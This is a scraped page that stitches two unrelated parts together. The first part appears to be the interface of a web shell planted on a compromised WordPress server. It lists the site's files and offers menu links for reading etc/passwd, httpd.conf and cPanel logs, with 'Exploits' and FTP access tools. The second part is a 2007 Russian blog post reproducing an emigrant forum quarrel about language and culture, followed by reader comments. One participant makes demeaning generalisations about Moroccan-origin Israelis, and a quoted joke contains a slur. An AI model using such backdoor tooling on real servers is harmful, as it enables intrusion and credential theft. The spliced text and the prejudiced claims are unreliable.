: .:Home      .:   .:   .:  
: .:    .:    .:    .: Mysql   .: NFM  
: .:    .:Explots  
: .:   .:   .:Full access FTP   .:   .:   
: .: Email   .: ICQ  
  ID:
.:etc/passwd   .:cpanel log   .:httpd.conf[1]   .:httpd.conf[2]   .:Bugtraq

   : /home/mminfo/public_html
   : 46.74 GB
 
   IP:    
   :(GHz)
   :(MHz)
 

audio4 KB06/07/08 15:30Dirrwxr-xr-x
cgi-bin4 KB05/06/08 21:41Dirrwxr-xr-x
foto4 KB02/06/10 18:14Dirrwxr-xr-x
mmin4 KB01/07/08 01:32Dirrwxr-xr-x
moydoc4 KB15/07/08 01:58Dirrwxr-xr-x
muzz4 KB28/05/10 00:09Dirrwxr-xr-x
openx4 KB30/06/08 20:05Dirrwxr-xr-x
soft4 KB21/05/10 17:28Dirrwxr-xr-x
wp-admin4 KB05/11/09 20:53Dirrwxr-xr-x
wp-content4 KB04/09/10 17:19Dirrwxr-xr-x
wp-includes4 KB04/09/10 17:23Dirrwxr-xr-x
wpau-backup4 KB14/06/09 14:40Dirrwxr-xrwx
.htaccess3519/02/09 19:41Filerw-r--r--
error_log45.02 MB01/08/10 08:34Filerw-r--r--
google738938bd196814f2.html6.49 KB04/09/10 16:51Filerw-r--r--
index.php69404/09/10 17:06Filerw-r--r--
index.php.wpau.bak39714/06/09 14:39Filerw-r--r--
license.txt15.05 KB05/11/09 20:53Filerw-r--r--
readme.html6.49 KB04/09/10 16:52Filerw-r--r--
robots.txt22007/10/08 20:38Filerw-r--r--
sitemap.xml66.12 KB06/07/10 12:03Filerw-r--r--
sitemap.xml.gz4.75 KB06/07/10 12:03Filerw-r--r--
wordpress-2.5.1-ru_RU.zip1.49 MB05/06/08 21:54Filerw-r--r--
wp-app.php39.82 KB05/11/09 20:53Filerw-r--r--
wp-atom.php22005/11/09 20:53Filerw-r--r--
wp-blog-header.php27405/11/09 20:53Filerw-r--r--
wp-comments-post.php3.56 KB05/11/09 20:53Filerw-r--r--
wp-commentsrss2.php23805/11/09 20:53Filerw-r--r--
wp-config-sample.php3.74 KB05/11/09 20:53Filerw-r--r--
wp-config.php1.65 KB05/06/08 23:20Filerw-rw-rw-
wp-cron.php1.22 KB05/11/09 20:53Filerw-r--r--
wp-feed.php22005/11/09 20:53Filerw-r--r--
wp-links-opml.php1.9 KB05/11/09 20:53Filerw-r--r--
wp-load.php2.5 KB05/11/09 20:53Filerw-r--r--
wp-login.php20.73 KB05/11/09 20:53Filerw-r--r--
wp-mail.php6.95 KB05/11/09 20:53Filerw-r--r--
wp-pass.php48705/11/09 20:53Filerw-r--r--
wp-rdf.php21805/11/09 20:53Filerw-r--r--
wp-register.php31605/11/09 20:53Filerw-r--r--
wp-rss.php21805/11/09 20:53Filerw-r--r--
wp-rss2.php22005/11/09 20:53Filerw-r--r--
wp-settings.php21.18 KB05/11/09 20:53Filerw-r--r--
wp-trackback.php3.39 KB05/11/09 20:53Filerw-r--r--
xmlrpc.php91.21 KB05/11/09 20:53Filerw-r--r--
y_key_a17b8a08a251ff73.html25527/07/08 18:41Filerw-r--r--
yandex_6e0eb285b62500e4.txt005/06/08 22:18Filerw-r--r--

:
Unix :

Споры о русском языке и культуре поведения. Проняло! | Мой Моск (info) <метатег от Google> <Скрипт отслеживания от Google>

Споры о русском языке и культуре поведения. Проняло!

Февраль 14th, 2007 | by moymosk |

Это форум русскоязычной эмиграции в основном люди очень вежливые и корректные и вот в разделе культура читаю такую переписку. Дабы не гонять линками просто скопирую наиболее

О культуре и ее основе – языке


Сначала меня удивило, что подраздел Культура оказался в разделе Мир вокруг нас. К культуре относятся не только окружающие нас явления и предметы, но и наш собственный внутренний духовный мир. Так что относить культуру целиком и полностью к окружающему нас миру, мне кажется не совсем правомерно. Сейчас, я как раз хотел бы поговорить о внутренней культуре, в частности посетителей этого форума.
Почему? Объясняю. Форум этот несосмненно эмигрантский. Я сам тоже эмигрант. Оттуда же. Из России. Не хочется писать из СССР, поскольку я считаю себя представителем именно российской культуры, а не советской.
Я эмигрант со стажем. Уже 16 лет живу в Израиле, куда меня занесли происки судьбы и ложь Сохнута. Но я считаю, что многие проблемы эмигрантской русскоязычной культуры схожи в даже таких разных странах, как США и Израиль.
А Сан Франциско меня привлек тем, что в этом городе уже 10 лет живет мой сын со своей семьей, но за эти годы я не смог получить представления о культурной среде, которая его окружает.
Правда, у меня есть большие сомнения, получу ли я такую информацию на этом форуме. Мне кажется, что активное ядро форума не имеет отношения к Сан Франциско. Впрочем, поживем – увидим.
Для начала, я хотел бы обсудить, вопрос о культуре посетителей форума, которая проявляется в их языке, на котором они пишут свои сообщения. Пишут неграмотно. Но я бы сказал – нарочито безграмотно. Даже щеголяют своей безграмотностью. Не буду приводить примеры. Вы сами их видите. Вот причины такого щегольства мне хотелось бы обсудить. Корявыми словами щеголяют, как грязными и рваными джинсами в приличном обществе. В первые , недоброй памяти, годы советской власти было модно кичиться своим происхождением – от сохи и лопаты. «Мы университетов не кончали!» тогда звучало гордо. Тогда иметь диплом университета было просто опасно. Это было страшное, кровавое время. Власть черни и господство безкультурья, как признаков этого безвременья. Эти два явления, власть черни и безкультурье, два явления неразрывно связанных друг с другом. Когда, после падения советской власти, в России настала эпоха Бандитского капитализма, это немедленно отразилось и в языке. В стране появился специфический сленг, на котором изъяснялись разбогатевшие бандиты. Этот сленг являлся попыткой внедрить бандитские нравы в культуру. Личность человека, его отношение к окружающим, проявляются в его языке. Человек матерящийся в обществе, нарущающий языковые нормы проявляет этим неуважение к этому обществу. К сожалению все эти признаки проявляются и на данном форуме и, к сожалению, поощряются модераторами Форума. Один из них, внимание которого я обратил на неприменимые в русском культурном языке слова и выражения, гордо ответил мне стандартной коммунистической фразой «Мы университетов не кончали» , и даже гордо уточнил, что его образование – «Один класс и два коридора».
Другой модератор мне пояснил, что посетители Форума – эмигранты, за годы эмиграции подзабывшие русский язык. Что ж, в этом есть доля правды. Хотелось только обратить внимание на два обстоятельства. Первая волна эмиграции, культурная эмиграция, смогла пронести свою культуру сквозь годы и сохранить ее. А нынешние, за которых так заступается модератор, почему-то подзабыли язык очень избирательно. Позабыв нормы культурного русского языка, они прекрасно сохранили бандитский сленг и, что совсем плохо, щеголяют этим.
Вот такие вопросы культуры мне хотелось бы обсудить в разделе форума под названием – «культура».
Доктор физ.-мат. наук Хавин Леон

Спасибо, очень хорошая тема
Но я не совсем с Вами согласна, грамматические ошибки в русском языке, которые допускают эмигранты, никак не говорят о их «культуре». Мне стыдно за те ошибки, которые я допускаю и за косноязычие в русском, но я просто не помню как это будет правильно по-русски. Нельзя судить всех по Израилю, стране в которой даже коренное местное население, если не говорит по-русски, то по крайней мере, матерятся по-русски так, как не каждый из нас с Вами умеет.
Нельзя заметив ошибку на форуме, исходить сразу из чего-то негативного…
К моему глубочайшему сожалению, не только «великий и могучий», но и другие языки в период мировой глобализации терпят большие изменения не в лучшую сторону. Сленг, о котором Вы упоминаете, если не ошибаюсь, так называемый «язык падонков»? я очень надеюсь, что форум это обойдёт стороной, а если заденет, то в мягкой форме.

Если позволите, господин Хавин, у меня к Вам вопрос: а к какой волне эмиграции относите себя Вы?

Уважаемая Маша, извИните, что я перевел ваш Ник на русский язык, просто каждый раз переключать клавиатуру весьма хлопотно. Надеюсь, что такой перевод достаточно эквивалентен.
Итак, уважаемая Маша, вы пишете: «…я не совсем с вами согласна, грамматические ошибки в русском языке, которые допускают эмигранты, никак не говорят о их «культуре». Очень спорное утверждение. Я просто не представляю себе интеллигентного человека, который писал бы с грамматическими ошибками.
Затем меня заставило задуматься то, что вы взяли слово культура в кавычки. Ведь кавычки совершенно меняют смысл слова и отношение к этому понятию. Придают ему иронический оттенок, или даже меняют его смысл на противоположный. Культура в кавычках это уже не культура, а «культур-мультур». Может вы хотели этим подчеркнуть, что эмигрантская культура это уже нечто иное, к чему надо относиться снисходительно, иронически.
Культура достаточно сложное понятие, которое состоит из многих компонент. Сюда входит воспитание, образование, искусство, литература и пр. Одним из основополагающих элементов является литература. Чтение книг.
Я неоднократно встречал в Интернете мудрое изречение «Человек это книги, которые он прочитал». Человек, не читающий, не может быть культурным.
Вы далее пишете: «Мне стыдно за те ошибки, которые я допускаю и за косноязычие в русском, но я просто не помню, как это будет правильно по-русски».
Здесь не написано, но явственно чувствуется, что вы теперь человек другой, англоязычной, американской культуры, и уж в этой то, другой культуре, вы совершенно безупречны, ни грамматических проблем, ни косноязычия. Дай-то бог! Возможны варианты. Но в России в таком случае говорят, «Свежо предание…»
Во всяком случае, ясно, что русскую культуру вы потеряли, потеряв язык. Четкий диагноз косноязычию поставил Вольтер: «Читая авторов, которые хорошо пишут, привыкают хорошо говорить». И, соответственно, прекратив чтение, становятся косноязычными. Такое же мнение высказал и А.В.Луначарский, хоть он и коммунист был, но человек интеллигентный. Цитирую: «Чего стоит грамотный человек, который не читает книги? Это человек, который осужден на обратное впадение в неграмотность».
Я знаю, что можно сменить веру, но возможность сменить культуру, кажется мне сомнительной. Также как сменить национальность. Вообще оказалось, что понятие «национальность» очень смутное понятие, точное определение которого еще не установлено. Я думаю, что национальность – это культура, в которой человек воспитан.
Сейчас этот вопрос весьма актуален, в связи с массовой миграцией населения.
Но не будем уходить в сторону, а продолжим чтение вашего письма.
«Нельзя судить всех по Израилю, стране, в которой даже коренное местное население, если не говорит по-русски, то, по крайней мере, матерятся по-русски так, как не каждый из нас с вами умеет».
Относительно Израиля вы очень заблуждаетесь. Неясно, что такое «коренное население». Евреи всегда жили в Палестине. Последние два века это, в основном, были эмигранты из европейских стран. Это они осушили болота и построили Тель-Авив. Но в пятидесятые годы в страну хлынула эмиграция из арабских стран и Африки. Сейчас они выступают в роли коренного населения. Но, на европейский взгляд, они не отличимы от арабов и их культура весьма схожа. Русский язык они знают на уровне рядового сирийца или марокканца. Да и матерятся они крайне примитивно. В ходу только одно, крайне искаженное, слово, смысл которого они не понимают. Отношение к русскоговорящим крайне негативное, чтобы не сказать злобное. Несколько лет тому назад вся страна была потрясена жестоким убийством. Был убит молодой парень, эмигрант из России, солдат Армии Израиля. Зарезал его «коренной» выходец из Марокко. Бывший полицейский. За то, что говорил с друзьями по-русски. Показательно, что хотя дело было днем в кафе, полном народу, полиция не смогла найти убийцу, а суд, его покарать. Они были на его стороне. Говорить об их культуре, с точки зрения европейца, просто несерьезно. Более половины из них не кончают среднюю школу. Как правило, в их домах нет книг, если не считать религиозной литературы. Их духовный наставник, раввин Овадья Иосеф, хвастался, что у него огромная библиотека, 20000 томов, но среди этих книг нет ни одной не «духовного» содержания. Тут уж не до культуры!
Положение бывшей русскоязычной интеллигенции в Израиле не менее трагично, чем в Америке. Культуру нельзя пересыпать нафталином и положить в сундук до следующего парадного выхода. Она должна быть активной. Это требует интенсивного чтения книг, как классики, так и современной прозы, но непременно высокого уровня, требующих анализа и осмысления, сопереживания. Кино, в этом смысле, совершенно неравноценно литературе Другие психологические механизмы.
И ваш последний вопрос: «Если позволите, господин Хавин, у меня к вам вопрос: а к какой волне эмиграции относите себя вы?
Конечно, позволю. Но нужно учитывать, что последствия эмиграции в корне отличны для разных стран. Я, упоминая в предыдущем письме о первой волне эмиграции, сохранившей язык и культуру, имел в виду бегство из России интеллигенции и дворянства под угрозой их уничтожения большевиками. Это действительно была интеллигенция высокой пробы. Помните, Томасс Манн говорил: «Немецкая культура там, где нахожусь я». Так и они. Увезли с собой культуру. Вспомните хотя бы Бунина.
Возникшая на их месте новая пролетарская культура, хотя и впитала богатые традиции великой русской культуры, но далеко не достигла былых вершин.
Уехавшие хранили традиции. Им было что хранить. К тому же они жили надеждой на скорое возвращение на Родину.
Я был знаком с их потомками. Победа СССР в Отечественной войне в какой-то мере реабилитировала большевизм. И некоторые из эмигрантов, поверив Сталину, чего никогда нельзя было делать, вернулись на родину. На их счастье Сталин вскоре умер. Но они успели нахлебаться.
Я работал с ними в Физико-Техническом институте. Это были интеллигентные люди с прекрасной русской речью.
Нынешние же эмигранты и не вывезли ничего и, тем более, мало что сохранили.
Волны эмиграции в Израиль происходили по другим законам. И люди и цели, и, соответственно результаты, были совершенно иными. Если это кого-нибудь на форуме интересует, я могу дать анализ.

Хавин Леон.

Господин Хавин, я прошу у Вас прощения, но прочитала только часть из того, что Вы, так старательно писали (для бескультурных людей как я, там слишком много написано, буду читать по частям, с Вашего позволения), из чего сделала следующие выводы:
1. Луначарский был мудрый человек
2. Вы совершенно не знаете людей и о людях, которых поучаете
3. Никогда не поздно учить культуру своего народа. Кстати, к какому народу Вы относите себя?
4. Вы, кичитесь своим Доктор физ.-мат. наук
5. За анализами, лучше ходить к врачам
6. Надо стараться искать в людях хорошее, а не плохое

Возвращаясь к теме, случайно найдено в сети:

Записка учителя русского языка

Уважаемые родители Васи Удодова!
Прошу обратить Ваше внимание на сочинение вашего сына «Как я понимаю русские пословицы и поговорки». Интерпретация некоторых идиом великого русского языка Вашим сыном, а также владение речью – вызывает мое искреннее недоумение.
Так, например, в первом абзаце своего сочинения, Василий пишет. «Пелотка из тачки – пепелац взлетает» (я намеренно сохраняю орфографию и пунктуацию Василия, чтобы Вы могли лучше понять плод его творчества).
Возвращаюсь к пословице. Являясь поклонницей творчества Г.Данелия, я, несомненно, знаю, что такое пепелац. Но какое отношение армейский головной убор имеет к пословице: «Баба с возу – кобыле легче», лично мне – непонятно.
Далее, по плану сочинения Василий должен был интерпретировать своими словами пословицу «На воре и шапка горит». В тексте сочинения Василия только одна странная фраза – «Ахтунга по камментам видно». Это вдвойне непонятно, поскольку классная руководительница сообщила мне, что Василий изучает английский, а не немецкий.
А смысл пословицы «Не имей сто клонов, а имей сто камментов, а потом еще и клонов отымей» ускользает от всего нашего учительского коллектива. Наш преподаватель физкультуры – Моисей Ромуальдович Жемальдо пояснил мне, что «клоны» это персонажи западного фантастического сериала, но, уважаемые родители, мы, преподавательский коллектив школы N185, стараемся растить наше поколение на исконно российских духовных ценностях.
По тематическому плану, утвержденному, кстати, письмом Министерства образования РФ, за номером 185-бис, следующей поговоркой про которую должны были написать ученики – должна была стать «В огороде – бузина, а в Киеве-дядька». Абсолютно непонятно почему Ваш сын ограничился кратким «В огороде – шишки». Далее идет приписка на полях рукой Вашего сына. «Чтобы хохло-газосрач не разводить».
По вышеупомянутому плану Министерства образования очередной поговоркой для рассмотрения должна была стать «Сытое брюхо – к учению глухо». Ваш сын опять же ограничился краткой фразой «Гаго Дунduk, ты?» Мы, конечно, пытаемся развивать в наших подопечных стремление к лаконичным высказываниям. Но не настолько же.
Кроме того, прошу обратить внимание на использование Вашим сыном числительных. «Семеро первонахов теребят F5″. Интуиция мне подсказывает, что это пересказ пословицы «Семеро одного не ждут», но с другой стороны это может быть и изложением пословицы «Семь раз отмерь – один отрежь».
На этом заканчиваю. Еще раз убедительно прошу обратить Ваше на образование Вашего сына.
С уважением. Преподаватель русского языка и литературы Изольда Альбертовна Шперц.
p.s.
Не будете ли Вы быть так любезны зайти в школу и объяснить преподавателю физкультуры Моисею Ромуальдовичу Жемальдо смысл пословицы «Тамбовский пидр тебе камрад Кандрад».

Уважаемая, Masha!
Извините за задержку с ответом, но мне пришлось решить трудные вопросы, прежде, чем взяться за перо. Первый – это целесообразность нашего диспута. Возможно, ваш сайт не подходящее место для рассуждений о культуре. Не та аудитория и не те у нее цели. Впрочем, вам лично я благодарен за то, что вы проявили интерес к затронутой мной теме и даже вступили в спор. Но… Ах, это вечное «но». Я был удивлен и даже потрясен, содержанием вашего ответа. Для начала отмечу три пункта.
1. Мое письмо (или пост, как вы это называете) чрезмерно длинное и потому ответ на него последует в «рассрочку», частями.
2. Анализ лучше оставить врачам.
3. Я вас совсем не знаю.
Смысл этих трех пунктов настолько переплетен между собой, что отвечать я буду не в порядке их перечисления.
В книге Льва Успенского «Слово о словах» приводится одна, на первый взгляд, бессмысленная и неинформативная фраза: «Глокая кудра дылбанула бокра и кудрячит бокренка». Автор показывает, что в действительности в этой фразе содержится большой объем информации, которая может быть извлечена путем квалифицированного и грамотного анализа.
Отсюда следует два вывода: «Понимающему (интеллигентному) достаточно одного слова». Впрочем, это старый и широко известный афоризм.
И второй вывод: понятия «Чтение» и «Анализ прочитанного» неотделимы друг от друга. И врачи тут совершенно не при чем. Конечно, в медицине, как и в любом виде деятельности, невозможно получить результат без анализа информации. Но методы анализа совершенно различны, хотя и подчиняются общим законам логики. Разве вы забыли, что существует дисциплина «Математический анализ», которую изучают уже даже в школе.
Зачем же вы написали эту глупость о врачах?
Когда я прочитал эту фразу, у меня, естественно, тут же всплыл в памяти классический образ «Гоголевского Петрушки, который тоже читал».
Опять же, «Интеллигенту достаточно слова». Но я не уверен, что вы четко знаете кто такой этот «Петрушка». Поэтому поясню. Петрушка это персонаж «Мертвых душ» Гоголя Николая Васильевича. Слуга Чичикова. Очень любил читать. Но при этом его совершенно не интересовал смысл прочитанного, который может быть получен только анализом текста. Его интересовал сам процесс чтения. Его удивлял и восхищал факт, когда из отдельных букв, вдруг возникали слова. На этом его интерес заканчивался.
Возвращаясь к пункту 1, оценим, сколько надо времени, чтобы прочитать и ответить на мое письмо. Ответ определяется тем, кто читает. Ведь открывая письмо, вы становитесь Читателем. Кто же такой читатель? Есть много вариантов ответа. Вот один из них, скачанный из отчета «Читательской конференции»:
• Читатель – это человек, который умеет самостоятельно выбрать книгу, осмыслить свой выбор и ее содержание, интегрировать новое знание в свое сознание и сохранить понимание в своем тексте – отзыве, конспекте, тезисах, интерпретации, воспоминаниях о прочитанном.
• Читатель – это личность, умеющая организовать чтение как встречу с автором, путем анализа постичь его замысел, открыть форму в единстве с содержанием.
• Читатель – это тот, кто не может представить свою жизнь без чтения газет, журналов, художественных произведений, в чьем доме есть своя библиотека, а читательский дневник ведется в течение всей жизни.
• Читатель – это Ученик, который не только читает, но и размышляет о прочитанном, стремится его критически осмыслить, записать понятое.
Читатель – это талант, которому доступно чтение как труд и творчество. Этот талант каждый в себе может воспитать, важно читать хорошие книги». С точки зрения А. Блока, «интеллигентному человеку достаточно библиотеки в 100 книг, но…эти 100 книг нужно отбирать всю жизнь».
Поясняю, чтобы выбрать эти 100 книг, нужно прочитать тысячу. А теперь прикиньте, сколько книг надо прочитывать в неделю, чтобы соответствовать такому критерию.
Да, получается, что читать надо быстро. А поскольку чтение неотделимо от анализа, то и анализировать прочитанное надо тоже быстро. А это возможно только при наличии солидного культурного фундамента, который во многом определяется средой, в которой воспитывается человек и закладывается с детства. Т.е. анализ выполняется особыми отделами мозга, которые для успешной деятельности у человека должны быть достаточно развитыми. А вот это уже не у всех взрослых людей есть.
Здесь мы уже вторгаемся в область достаточно новой науки «Эпигенетики». Можете ознакомиться с ее основами в Интернете. Но для того, чтобы ориентироваться в окружающем мире, нужно быть знакомым хотя бы с ее основами.
Суть заключается в том, что человек не рождается с готовым мозгом. Природа снабжает его минимальным полуфабрикатом, развитие которого зависит от человека и его судьбы. Т.е. от общества, в котором человек воспитывается. Воспитанный вне человеческого общества новорожденный (синдром Маугли) вообще человеком не становится. И это навсегда.
Эпигенетика объясняет это так: Развитие мозга определяется заложенными в нем генами. Но не все гены активны. Многие из них деактивированы сидящими на них метиловыми заглушками. Такой ген не работает и соответствующий участок мозга не развивается. Включить ген в работу можно только, когда у человека возникает потребность в выполнении соответствующих функций. Если человек воспитывается, например, волками, потребность в речи у него не возникает, соответствующий участок мозга, определяющий речь, не развивается, и такой человек никогда говорить не будет. Никогда! Если человек в детстве бегал только на четвереньках, он никогда не пойдет на двух ногах. В мозгу нет участка, который управляет ногами и равновесием. Аналогично, CD-ROM не будет работать, если в вашем компьютере нет нужного драйвера.
Все драйверы управляющие функциями организма, расположены в мозгу и устанавливаются только под управлением генов. Ген не сработал, драйвера нет и не будет никогда. Потому что, работа гена ограничена строгими возрастными рамками. И вообще, развитие мозга заканчивается в 11 – 13 лет и дальше человек будет жить с тем, что он себе заработал да этого возраста. Не научился в детстве быстро читать и анализировать, значит, зафиксировал планку на низком уровне и в дальнейшем никогда через нее не перепрыгнешь.
В спорте давно узнали про эти законы, и выращивают спортсменов с их учетом. Начинают ИНТЕНСИВНЫЕ занятия с 5 – 6 лет и гонят без перерыва.
Когда мы привели свою дочку в спортивную секцию в девять лет, нас просто подняли на смех. «Да, ей на пенсию пора. Наши девочки в 9 лет уже мастера спорта».
Если вы думаете, что интеллектуальная деятельность подчиняется другим законам, то вы глубоко ошибаетесь.
Многое из того, что я здесь изложил, описано в моей статье на сайте Lub.ru. Адрес я вам давал, но вы им, видимо не воспользовались. А зря.

На этом заканчиваю. Не уверен, что вас эти «умствования» интересуют, а зря метать бисер не стоит.
Хавин Леон

Господин Хавин,

у меня нет ни время, ни желания, ни интереса читать то, что написано постом выше.
Во многом, что касается языка я с Вами согласна, но когда об этом говорится обобщённо, но когда Вы переходите на личности, простите, у меня возникает желание создать тему о культуре общения и этике. Для меня непозволительно, согласиться с подобным отношением к людям, извините.

P:S: я рада, что и физтехи иногда кончают
а мы, теплофизики кончали, кончаем и кончать будем!

  1. 31 Responses to “Споры о русском языке и культуре поведения. Проняло!”

  2. By crazydiamond_az on Фев 14, 2007 | Reply

    на последний пост Маши г-н Хавин не ответил, или Вы на этом остановились? очень занятно :) )… но Хавина жалко…..

  3. By oleg3365 on Фев 14, 2007 | Reply

    Увы не ответил, а вот форум Маше аплодировал. Хавин во многом прав, но нельзя же так агрессивно!!! У нас на Украине, помоему, на основе вот таких материалов в том числе, строятся политические конструкции о преследовании русского языка.

  4. By crazydiamond_az on Фев 15, 2007 | Reply

    знаете, Ваше предисловие о том, что на этом форуме люди корректные и выдержанные, очень иронично выглядело после того, как я прочитала тред :) … не то, чтобы агрессивно, но невыносимо высокомерно… а вообще, это, конечно, надо уметь – оскорбить собеседника не столько словами, которые все вежливые, сколько тоном… как говорится, «на Вы и Вашу мать» :)
    а как сейчас обстоит дело с «великим и могучим» на Украине? я имею в виду газеты, телеканалы, школы…

  5. By oleg3365 on Фев 15, 2007 | Reply

    На мой взгляд, ответ г-ну Хавину был адекватен. Извините, я как жертва Советского воспитания – убежденный атеист, я не согласен с правилом всепрощения как не существующим в принципе. (Особенно после того как мне пришлось по просьбе знакомых собрать материалы для одного православного монастыря на тему «сектантство». Во ВСЕХ материалах обращалось внимание, на то, что согласно последним инструкциям церкви терпимость и боготерпимость есть абсолютно разные вещи и боготерпимость есть страшный грах.) Ну не люблю я когда мне навязчиво предлагают покупать «миксер для чая», «спасать свою душу», или выходить на баррикады за язык и веру! Я подозреваю что цитируемое г-ном Хавиным письмо определенное как «хамское» принадлежало Маше. И ее реакция без оскорбительных определений в ответ достойна уважения.
    Просто последнее время я слишком часто сталкиваюсь с нетерпимостью и не желанием понять точку зрения оппонента.
    У нас на Украине с русским языком, на самом деле, проблем нет, в начале попытки защитить украинский язык, создавали некоторые казусы. Представте как врачей обязали выписывать рецепты и вести документацию на украинском. Тож же было и с технической документацией. Больших конфликтов, кроме смеха, это не вызвало. И тихо сошло на нет. На мой взгляд очень полезно было, когда ведущие телеканалы перешли в значительной степени на вещание (по закону не менее 50%) на украинский язык. Возмущались немногие пенсионеры (Я живу в русскоязычном Донбассе), затем музыкальная индустрия начала раскручивать украинские команды, и в молодежной среде украинский стал модным. Дело в том, что эти трансформации происходили годами, поэтому при фактическом доминировании русского, украинский начал понемногу укреплять свои позиции. Сейчас в прессе преобладание русского ~70%. Литература тоже большей частью российских издательств (здесь чистая экономика – в России больше рекламный рынок и налоговые льготы). Все кабельные каналы транслируют большинство российских ТВ. Обидно, что язык используют как политический инструмент. После отделения от Союза на Украине не было ни одно реального национального или языкового конфликта, кроме постановочных.
    У нас не стреляли и не будут стрелять. Вспомнил! В школе тоже лет 10 назад была проблема – сделали русский язык и литературу (только в некоторых школах) – факультативным, я еще жил в Киеве, ну и что, родители просто загнали своих чад на факультатив и все. Помоему, эта идея уже давно умерла.
    А как у вас?

  6. By crazydiamond_az on Фев 15, 2007 | Reply

    я имела в виду, что именно посты Хавина были высокомерными, и именно он сумел, по-моему, оскорбить собеседника тоном…

  7. By oleg3365 on Фев 15, 2007 | Reply

    Спасибо за понимание, именно это менторство меня и задело!

  8. By crazydiamond_az on Фев 15, 2007 | Reply

    у нас с русским проблем нет. 99% населения по-русски понимает, 80% – говорит, 70% – говорит и пишет. русскоязычные школы есть (у нас они называются «русские»)и никто не собирается их закрывать. я сама училась в русской школе… газеты есть русскоязычные наши и, естественно, российская пресса, книг на русском полно, от Донцовой до Шекспира, российская эстрада очень популярна, на радио и ТВ гоняют, фильмы на наших каналах показывают, в основном, на русском языке. это связано с проблемой дубляжа. дублируют, конечно, на азербайджанский – но с русского. так легче. правда, каналы российские собираются к лету перебрасывать на кабель, и это, по-моему, не есть хорошо – но это в равной степени относится и к турецким каналам. просто убирают конкурентов. на бытовом уровне тоже все вполне интернационально – в любом магазине, на базаре, в общественном транспорте – все понимают и не отказываются общаться. худо-бедно, может быть, иногда на пальцах, но объяснятся. у нас из-за засилия западных компаний и, соответственно, иностранцев, угрозы от русского языка не видят. все очень смешано, и бОльшая часть населения мультиязычна. правда, оговорюсь – речь идет о столице, о Баку…

  9. By oleg3365 on Фев 15, 2007 | Reply

    Вот это нормальная ситуация, так и должно быть. Кстати у меня в Киеве знакомый был. Родился в Баку вырос в Киеве сейчас играет в весьма патриотичной украинской команде «Мандры» (найду ссылку, сброшу) по украински и говорит , и поет, ну точно, лучше меня, и национальность не скрывает.

  10. By crazydiamond_az on Фев 15, 2007 | Reply

    а какая у него ациональность? и зачем ее скрывать? :)

  11. By oleg3365 on Фев 15, 2007 | Reply

    Я не верно сказал, он киевский азербайджанец, и этим гордится, как и киевские грузины, чеченцы. Они все киевляне, и мне ни разу не приходилось сталкиваться с дикостью, типа «понаехали..»

  12. By crazydiamond_az on Фев 15, 2007 | Reply

    мне здесь тоже с «понаехали» сталкиваться не приходилось….в смысле, я-то коренная бакинка в каком-то поколении, но и приезжих много у нас, и постоянно проживающих и получающих гражданство, и просто гостей, туристов или тех, кто здесь работает – нет здесь у нас ксенофобии. и это хорошо :)
    а украинский язык трудный? я, например, на слух процентов 60, наверное, пойму…. но сказать ничего, кроме знаменитых «здоровеньки булы» не смогу…

  13. By oleg3365 on Фев 15, 2007 | Reply

    А вот тут и у меня проблема, я ведь 2 с половиной класса проучился в Белграде и был в школе освобожден от уроков по украинскому, поэтому из уважения к языку практически не говорю. А понимается он, как и белорусский пожалуй не на 60 а на все 90. По крайней мере эти языки ближе чем сербский. Только что ко мне заходил приятель краматорский пакистанец он живет на Украине с 92, говорит все равно с акцентом, на слух переход с русского на украинский и наоборот, просто не замечает. проверено!

  14. By crazydiamond_az on Фев 16, 2007 | Reply

    а вот белорусский я вообще не слышала…
    вообще я подумала вчера, и пришла к выводу, что чем ближе язык к тому, на котором я говорю и думаю (это русский все-таки в 80% случаев), тем труднее мне воспринимать его. попытаюсь объясниться: я настолько привыкла к русскому языку, что мне трудно бывает сообразить, что какое-то слово близкого языка похоже на русское, которое я прекрасно понимаю, и отсюда моя растерянность, когда я слушаю, скажем, украинский или болгарский. то есть, объективно я вроде бы должна понимать больше, чем 60%, но на практике не всегда получается. слух настолько закоснел в одном, что с трудом воспринимает что-то слегка отличающееся. но, например: если я очень долго общаюсь на каком-нибудь иностранном языке, скажем, английском, то лучше воспринимаю любые языки (с которыми более-менее знакома, естественно). вывод: все языки, кроме русского и азербайджанского, я воспринимаю как иностранные. и вообще мое восприятие речи очень сильно зависит от «музыкальности», так сказать. например, я привыкла по-английски общаться исключительно с мужчинами в возрасте от 25 до 60 лет, и мне приходится некоторое время привыкать к собеседнику, если это, скажем, женщина или ребенок.. и дело даже не в акцентах, а именно в тембрах голосов…
    а то, что Ваш товарищ-пакистанец на слух не замечает перехода с русского на украинский и наоборот – это интересно… обычно так бывает у людей, которые ни тем, ни другим не владеют. у меня есть друг-британец – для него азербайджанский и турецкий совершенно неотличимы на слух.. как, впрочем, и русский вместе с ними…
    сербский я тоже не слышала, но видела (у pticaselica)… при чтении понимаю немало, общий смысл, но опять же всегда попадутся слова, которые абсолютно незнакомы – наверное, это естественно, так как я сербским не владею вообще…

  15. By oleg3365 on Фев 17, 2007 | Reply

    Прошу прощения, что не смог быстро ответить. Вообще идея восприятия языка по музыкальности это интересно. Попробую проверить на своей дочери – она обладает и хорошим разговорным английским и слухом. Что касается приятеля-пакистанца, в том-то и дело, что он полностью понимает и продолжает разговор, но не замечает, что один из собеседников перешел на украинский! Болгарский, когда-то, в компании знакомый эмоционально переходил на родной – болгарский, вообщем-то все понимали, хотя здесь переход был явно заметен. Белорусский, у нас пару месяцев назад кабельный оператор включил беларусский канал, он русскоязычный, но некоторые интервью на белорусском. Помоему быстро привыкаешь. Сербского сто лет не слышал и, даже. тексты не попадались, но видимо, таки где-то язык отложился (я уехал из Белграда в конце 1979-го). Хотя способности к языкам меня, честно, слабенькие.

  16. By crazydiamond_az on Фев 17, 2007 | Reply

    у меня тоже языковые способности, я считаю, не очень… все языки, которыми я владею – либо более-менее похожи (азербайджанский / турецкий), либо очень распространены (русский / английский).. хотя, думаю, здесь еще и имеет место лень – которая, по словам моей мамы, родилась раньше меня…
    а как Вы лично относитесь к ненормативной лексике? я вспомнила передачу, которая примерно полгода назад была по ТВЦ, там радетели чистоты русского языка вытупали против мата… мне как-то подумалось, что мат – не угроза русскому языку, а часть его…

  17. By oleg3365 on Фев 18, 2007 | Reply

